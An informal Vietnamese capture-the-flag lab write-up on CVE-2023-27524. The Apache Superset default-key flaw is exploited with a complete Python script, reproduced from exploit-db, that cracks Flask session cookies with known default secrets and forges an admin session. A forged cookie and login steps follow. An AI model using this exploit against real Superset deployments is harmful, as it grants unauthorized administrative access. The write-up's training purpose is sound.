ayyo wassup welcome to the show
Hôm nay mình sẽ viết writeup cho bài cve-2023-27524
NHỮNG THỨ MÌNH CẦN ĐỂ GIẢI QUYẾT LAB NÀY:
kĩ năng search google¯\_( ͡° ͜ʖ ͡°)_/¯
ok let’s gooooo
Đầu tiên cứ phải là xem cái CVE này là cái gì đã
Sau khi nhập tên CVE vào thanh công cụ tìm kiếm của google thì mình tìm được vài đường link mô tả về CVE này:
https://nvd.nist.gov/vuln/detail/cve-2023-27524
bản tiếng Việt cho các tình yêu lười dịch giống tôi: Khóa mặc định không an toàn của Apache Superset gây ảnh hưởng hàng nghìn hệ thống - Tạp chí An toàn thông tin
To long; didn’t read:
Apache Superset, được viết dựa trên framework Flask bằng Python, mắc 1 lỗi rất nguy hiểm khi các phiên bản từ 2.0.1 trở xuống trong phần config mặc định sử dụng hàm tạo cookie session với các khóa PRIVATE_KEY mặc định:
-
\\x02\\x01thisismyscretkey\\x01\\x02\\\\e\\\\y\\\\y\\\\h
cho các phiên bản <1.4.1 -
CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
cho các phiên bản từ 1.4.1 trở lên -
thisISaSECRET_1234
trong template deploy sẵn -
YOUR_OWN_RANDOM_GENERATED_SECRET_KEY
trong docs -
TEST_NON_DEV_SECRET
trong docker compose
Ok nắm được sơ qua nội dung của CVE rồi, khởi động lab nào ( * ≧∀≦ *)
Giao diện chính của lab này là trang đăng nhập của Superset:
Tại phần Settings
ngó được phiên bản Superset là 1.4.0, thông tin này sẽ được lưu lại để sử dụng sau nhé hê hê
Đây là request được tạo khi đăng nhập
Như bên trên mình có nói, Superset được viết bằng Flask Python từ đó phần cookie session sẽ được tạo bởi một hàm nào đó trong Flask :)))) Mình không rõ lắm đó là hàm nào, thím nào biết có thể comment xuống dưới giải ngố cho cộng đồng Gà nhé ạ
\
Sau khi tìm kiếm sâu hơn, mình tìm được 1 bài viết của exploit-db chứa Python code để khai thác CVE-2023-27524 này
# Exploit Title: Apache Superset 2.0.0 - Authentication Bypass
# Date: 10 May 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://superset.apache.org/
# Version: Apache Superset<= 2.0.1
# Tested on: 2.0.0
# CVE: CVE-2023-27524
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'"version_string": "(.*?)"', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
u1 = args.url.rstrip('/') + '/superset/welcome'
print(f"Now visit the url: `{u1}` and replace the current session cookie with this `{forged_cookie}` and refresh the page and we will be logged in as admin to the dashboard:)")
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()
Tóm tắt flow hoạt động: đoạn code lấy giá trị của trường session
trong response trả về, lưu vào biến session_cookie
và được decode bởi hàm session.decode()
, giá trị sau khi decode được lưu vào biến decoded
, cuối cùng được thêm secret key và tạo thành session cookie mới bởi hàm session.verify()
. Các hách cơ sẽ lấy giá trị session cookie mới này để truy cập vào đường dẫn /superset/welcome
để có quyền admin
Mình copy đoạn code bên trên và lưu vào file samuel.py
(còn bạn lưu như nào thì kệ bạn )
Trước khi vào vấn đề chính, hãy cài đặt các thư viện Python cần thiết đã
$> python -m pip install requests
$> pip3 install flask-unsign
Oke giờ mới bắt đầu chạy chương trình nè. Bắt đầu với lệnh -h
để xem cú pháp các câu lệnh có trong chương trình, cũng để xem chương trình có gặp lỗi gì không đã
Sau đó thêm tham số url
Vì phiên bản Superset như đã đề cập bên trên là 1.4.0, từ đó ta có thể sử dụng giá trị SECRET_KEY default \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
để tạo session cookie mới
Và có được cookie session = eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJz0kA.qbLVT84l8AmzTHK589mQwtNhNP0
Dùng cookie session trên để truy cập vào /superset/welcome
vàaaa
I’m in babyyy
Giờ chỉ cần đi tìm flag nữa thui, và không ngoài dự đoán, flag nằm trong profile của admin f12 lên lấy flag cho dễ nhé
Và công đoạn cuối cùng: nhập flag => brainf*ck => submit => done
Cảm ơn thầy Cookie Hân Hoan đã tạo ra 1 sân chơi lành mạnh cho các anh em đam mê ngành security. Cảm ơn mọi người đã kiên trì đọc đến dòng này Hẹn gặp lại mina-san ở các bài writeup sau nhé